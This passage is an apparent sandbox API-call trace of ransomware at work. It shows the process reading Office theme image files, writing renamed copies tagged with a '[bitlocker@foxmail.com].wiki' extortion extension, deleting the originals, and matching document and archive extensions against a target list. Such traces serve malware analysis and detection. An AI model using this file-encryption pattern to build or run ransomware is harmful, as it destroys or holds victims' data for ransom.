returned -1 [0050.941] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.942] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=25234) returned 1 [0050.942] CloseHandle (hObject=0x210) returned 1 [0050.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0050.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.943] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.943] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.943] GetLastError () returned 0x0 [0050.943] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6292, lpOverlapped=0x0) returned 1 [0050.945] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0050.947] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.947] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.947] SetEndOfFile (hFile=0x214) returned 1 [0050.947] CloseHandle (hObject=0x214) returned 1 [0050.948] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.948] SetEndOfFile (hFile=0x210) returned 1 [0050.949] CloseHandle (hObject=0x210) returned 1 [0050.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.949] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0050.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.949] lstrlenW (lpString=".doc") returned 4 [0050.949] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.949] lstrlenW (lpString=".docx") returned 5 [0050.949] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.949] lstrlenW (lpString=".pdf") returned 4 [0050.949] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.949] lstrlenW (lpString=".xls") returned 4 [0050.949] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.949] lstrlenW (lpString=".xlsx") returned 5 [0050.949] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.949] lstrlenW (lpString=".ppt") returned 4 [0050.950] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString=".zip") returned 4 [0050.950] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.950] lstrlenW (lpString=".rar") returned 4 [0050.950] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.950] lstrlenW (lpString=".bz2") returned 4 [0050.950] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString=".7z") returned 3 [0050.950] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString=".dbf") returned 4 [0050.950] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString=".1cd") returned 4 [0050.950] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString=".jpg") returned 4 [0050.950] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.950] lstrlenW (lpString=".doc") returned 4 [0050.950] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString=".docx") returned 5 [0050.950] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.950] lstrlenW (lpString=".pdf") returned 4 [0050.950] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.950] lstrlenW (lpString=".xls") returned 4 [0050.950] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.950] lstrlenW (lpString=".xlsx") returned 5 [0050.950] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.951] lstrlenW (lpString=".ppt") returned 4 [0050.951] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.951] lstrlenW (lpString=".zip") returned 4 [0050.951] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.951] lstrlenW (lpString=".rar") returned 4 [0050.951] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.951] lstrlenW (lpString=".bz2") returned 4 [0050.951] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.951] lstrlenW (lpString=".7z") returned 3 [0050.951] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.951] lstrlenW (lpString=".dbf") returned 4 [0050.951] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.951] lstrlenW (lpString=".1cd") returned 4 [0050.951] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0050.951] lstrlenW (lpString=".jpg") returned 4 [0050.951] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.951] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0050.952] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.952] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2985) returned 1 [0050.952] CloseHandle (hObject=0x210) returned 1 [0050.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0050.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.953] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.953] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.954] GetLastError () returned 0x0 [0050.954] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xba9, lpOverlapped=0x0) returned 1 [0050.956] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0050.957] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.957] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.957] SetEndOfFile (hFile=0x214) returned 1 [0050.957] CloseHandle (hObject=0x214) returned 1 [0050.958] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.958] SetEndOfFile (hFile=0x210) returned 1 [0050.958] CloseHandle (hObject=0x210) returned 1 [0050.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.959] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0050.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.959] lstrlenW (lpString=".doc") returned 4 [0050.959] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.959] lstrlenW (lpString=".docx") returned 5 [0050.959] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.959] lstrlenW (lpString=".pdf") returned 4 [0050.959] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.959] lstrlenW (lpString=".xls") returned 4 [0050.959] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.959] lstrlenW (lpString=".xlsx") returned 5 [0050.959] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.959] lstrlenW (lpString=".ppt") returned 4 [0050.959] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.959] lstrlenW (lpString=".zip") returned 4 [0050.959] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.959] lstrlenW (lpString=".rar") returned 4 [0050.959] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.959] lstrlenW (lpString=".bz2") returned 4 [0050.959] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.959] lstrlenW (lpString=".7z") returned 3 [0050.959] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".dbf") returned 4 [0050.960] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".1cd") returned 4 [0050.960] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".jpg") returned 4 [0050.960] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".doc") returned 4 [0050.960] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.960] lstrlenW (lpString=".docx") returned 5 [0050.960] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.960] lstrlenW (lpString=".pdf") returned 4 [0050.960] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString=".xls") returned 4 [0050.960] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString=".xlsx") returned 5 [0050.960] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.960] lstrlenW (lpString=".ppt") returned 4 [0050.960] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".zip") returned 4 [0050.960] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString=".rar") returned 4 [0050.960] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.960] lstrlenW (lpString=".bz2") returned 4 [0050.960] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.960] lstrlenW (lpString=".7z") returned 3 [0050.960] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.960] lstrlenW (lpString=".dbf") returned 4 [0050.961] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.961] lstrlenW (lpString=".1cd") returned 4 [0050.961] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0050.961] lstrlenW (lpString=".jpg") returned 4 [0050.961] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.961] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0050.961] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.961] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2848) returned 1 [0050.962] CloseHandle (hObject=0x214) returned 1 [0050.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0050.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.962] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.962] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.964] GetLastError () returned 0x0 [0050.964] ReadFile (in: hFile=0x214, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xb20, lpOverlapped=0x0) returned 1 [0050.966] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0050.967] ReadFile (in: hFile=0x214, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.967] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.967] SetEndOfFile (hFile=0x1f0) returned 1 [0050.967] CloseHandle (hObject=0x1f0) returned 1 [0050.968] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.968] SetEndOfFile (hFile=0x214) returned 1 [0050.968] CloseHandle (hObject=0x214) returned 1 [0050.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.969] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0050.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.969] lstrlenW (lpString=".doc") returned 4 [0050.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.969] lstrlenW (lpString=".docx") returned 5 [0050.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.969] lstrlenW (lpString=".pdf") returned 4 [0050.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.969] lstrlenW (lpString=".xls") returned 4 [0050.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.969] lstrlenW (lpString=".xlsx") returned 5 [0050.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.969] lstrlenW (lpString=".ppt") returned 4 [0050.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.969] lstrlenW (lpString=".zip") returned 4 [0050.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.969] lstrlenW (lpString=".rar") returned 4 [0050.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.969] lstrlenW (lpString=".bz2") returned 4 [0050.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.969] lstrlenW (lpString=".7z") returned 3 [0050.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.969] lstrlenW (lpString=".dbf") returned 4 [0050.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".1cd") returned 4 [0050.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".jpg") returned 4 [0050.970] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".doc") returned 4 [0050.970] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.970] lstrlenW (lpString=".docx") returned 5 [0050.970] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.970] lstrlenW (lpString=".pdf") returned 4 [0050.970] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString=".xls") returned 4 [0050.970] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString=".xlsx") returned 5 [0050.970] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.970] lstrlenW (lpString=".ppt") returned 4 [0050.970] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".zip") returned 4 [0050.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString=".rar") returned 4 [0050.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.970] lstrlenW (lpString=".bz2") returned 4 [0050.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.970] lstrlenW (lpString=".7z") returned 3 [0050.970] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".dbf") returned 4 [0050.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.970] lstrlenW (lpString=".1cd") returned 4 [0050.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0050.971] lstrlenW (lpString=".jpg") returned 4 [0050.971] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.971] lstrcmpiW 